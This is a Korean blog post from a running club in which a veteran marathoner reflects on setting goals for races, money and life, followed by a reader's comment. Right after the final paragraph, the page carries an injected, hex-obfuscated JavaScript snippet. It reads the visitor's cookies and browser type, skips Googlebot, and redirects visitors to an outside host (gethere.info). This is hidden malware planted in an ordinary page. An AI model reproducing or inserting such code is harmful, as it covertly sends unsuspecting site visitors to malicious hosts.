목표와 기록(1)

지난주 (4/20/2016) B&A 마라톤은 제게는 풀 마라톤 10회째의 레이스였습니다.

제가 상기의 제목으로 감히 글을 쓸 수가 있겠는가를 생각해 보다가 올해 7월이면 만 59세가 됩니다. 이 나이에 풀 10회, 하프10회의 기록을 가지게 된 것은 조금은 희귀한 기록이지 않을까 하는 자만(?)심에서 글을 쓰고자 합니다.

일전에 ‘셀폰을 손에서 놓지 못하는 사람들’에 대한 미 대학의 연구 결과를 뉴스에서 접했습니다. 결론은 ‘참을 성 부족’이라는 것이었습니다. 조금 갸우뚱했습니다. 실험은 학생을 일정 그룹으로 나누고 각자 자기 셀폰을 꺼내 보지 않는 시간을 4시간, 8시간씩 정해 놓고 보상금을 책정하는 방식이었는데 피실험자들은 ‘미래의 보상 보다는 현실의 만족’을 택하는 선택을 하더라는 것이었죠. 동양사상중에도 비슷한 경우라고 한다면 ‘조삼 모사’의 고사성어를 들 수가 있겠습니다.

잘 아다시피 삼장법사와 손오공이 도토리 7개를 가지고 원숭이에게 ‘아침에 3개 저녁에 4개준다.’고 하니까 싫다고 합니다. 하는 수 없이 아침에 4개, 저녁에 3개로 바꾸니까 아주아주 좋아라 합니다. 원숭이의 선택과는 달리 대부분의 사람들은 저축과 보상심리에 따른 선택으로 ‘조삼모사’를 선택하는 걸 당연시 합니다.

이 실험은 게임중독이나, 나아가 갬블중독, 주식중독에까지 성인들에게도 꽤 많은 상담과 계도에 이용될 수 있겠다는 생각을 잠시 해 봤습니다.

서론이 좀 길어졌습니다.

다만 모든 글은 서론에서 그 글이 주려는 70%이상을 암시해 주는 것이 좋다는 나름대로의 생각이 있기 때문에 적어도 마라톤을 하고 계시는 여러분들은 제가 ‘막장드라마’의 극작가가 아니더래도 이 글에 주목해 주시지 않을까 생각합니다.

우리는 통상 ‘ 달리기’라는 카테고리에 ‘walking’. ‘jogging’, ‘running’, ‘race’ 를 포함시켜서 이야기 합니다.  잘못된 것은 아니지만 이 모임에서는 이에 대한 개념의 구분이 보다 명확해져야 한다고 생각합니다. ‘목표’라는 걸 ‘제시어’로 선택했으니 너무나 당연한 개념 정리입니다.

따로 위 각각이 명확하게 구분할 필요까지 없는 것은 각개인마다 편차가 있고 , 연습이든, 훈련이든, 학습이든, 당일스케쥴에 따라서도 천차 만별이 될 수가 있다는 생각이 들기 때문입니다. 다만 뒤로 갈수록 더 ‘강해진다.’ 정도로만 이해하시고 통과하겠습니다.

저는 ‘레이스’를 앞두고 항상 ‘목표’라는 걸  세웠습니다.  물론 레이스가 아니래도 ‘런닝만 하는대도 ‘얼마의 거리’를 ‘어떤페이스’로  ‘뛰어야겠다’는 것도 일종의 ‘목표’가 될 수 있습니다. 그러니 돈주고 번호판을 붙이고 뛰는 레이스에서 ‘목표’가 없이 뛴다는 것은 일종의 ‘강박관념’이라고 스스로 책임을 회피한다거나 기록 뒤에 비겁(?)하게 숨을 의도나 필요가 없기 때문이기도 합니다.

가령 ‘ 목표가 없다.’ 골프치러가면서도 ‘ 즐기는 것이지, 몇타가 뭐가 중요하냐?’ 하시는 분들 가끔씩 보게 됩니다.  달리기 하시는 여러분들은 적어도 앞으로는 그런 이야기 가볍게 하지 않으셨으면 합니다. 저는 그러면 좀 그런분을 달리 보거든요 . 적어도 제게는  ‘정직, 양심’ 과 관련된 단어가 스쳐가기 때문입니다.

목표의 불명확성이 가져다 주는 일상의 폐해중에 가장 심각한 현실이 주식과 갬블에서 망하는 경우라고 봅니다.   만약에 이들이 어떤 목표가 있었다면 다소의 손실은 있었더래도 폭삭 망해버리는 일은 없을 것입니다. 이들이 추구하는 목표라는 것에는 아주 전형적인 사자성어가 얼른 떠오르시지요 ?  ‘다다익선’ 그렇습니다. ‘많을 수록 좋다.’

이 무슨 해괴망칙입니까, 목표관리자에게는 가장 ‘혐오적인 말’이기도 합니다.

‘돈’에 대한 개념도 그대로 적용해도 무리가 없다는 생각입니다. 이게 마음대로 안되는 것은 저도 예외일 수는 없겠습니다. 그래서 요모양 요꼴로 살고 있는 지는 모르겠습니다. ㅎㅎ

‘얼마를 벌어야 겠다.’는 목표, 물론 자꾸 바뀔 수는 있다손치더라도 그 ‘목표’가 없으면…  그렇죠?  결론은  ‘죽습니다.’  써 보지도 못하고  목표없는 그곳을 향해서 시지프스의 바윗돌을 평생 굴리느라고요. ㅠㅠㅠ

목표가 달성되어서 자기에게 재투자하고, 친구도 만나고, 맛있는 것도 먹고, 재충전한 다음에 또 목표를 세우고 하면서 사는 게 ‘이론’상으로는 맞습니다.

그 이론이 가장 잘 적용될 수 있는 곳에 여러분과 제가 함께하고 있지 않겠나 감히  생각합니다.

 

진짜 서론이 길다. ㅠㅠㅠ

예, 할 말씀 거의 했습니다.

아, 저기, 질문할 분이 계시네요.  예?

목표 정해 놓으면 실패가 더 많고, 그래서  좌절하고 포기하고 실망하고, 분노하고 그러잖아요. ‘널너리 방구’로 세상 주유천하하면서 살지 뭐하러 그렇게 아등바등합니까 ?

여기까지 읽으시는 것만으로도 그 참을 성에 일단 축하하고,  풀 마라톤에 도전할 80%의 자격이 생겼다는 걸 인증합니다.  ㅎㅎ

오늘은 여기까지 하겠습니다.

2)

3)편까지 길어지면 사정없이 오뉴월 엿가락 늘리듯이 하겠는데 그럼 시청율 떨어질테니 ‘ 프레드릭 남은 40일간 좋은 결과를 내자’ 는 취지로 3회에 걸쳐 연재 하고자 합니다.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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4 Replies to “목표와 기록(1)”

  1. 네, 목표가 다 같을 수 야 없겠지만, 분명히 각자의 목표가 있긴 있겠지요. 그게 단지 좋아하는 사람과 같이 뛰는 것 일 수도.. 마라톤을 완주하는 체력을 평생 유지하기 위한 장기적이고 정기적인 자기관리일 수도 있고… 그냥 달리는 무리속에서 살아있다는 걸 느끼시는 분도 계실꺼구… 창구형님처럼 순간 순간을 이벤트화 하시고, 계획하고, 분석하고, 돌아보며, 늘 자신과 정면으로 마주보는 분도 계시고..
    다음 편도 기대됩니다.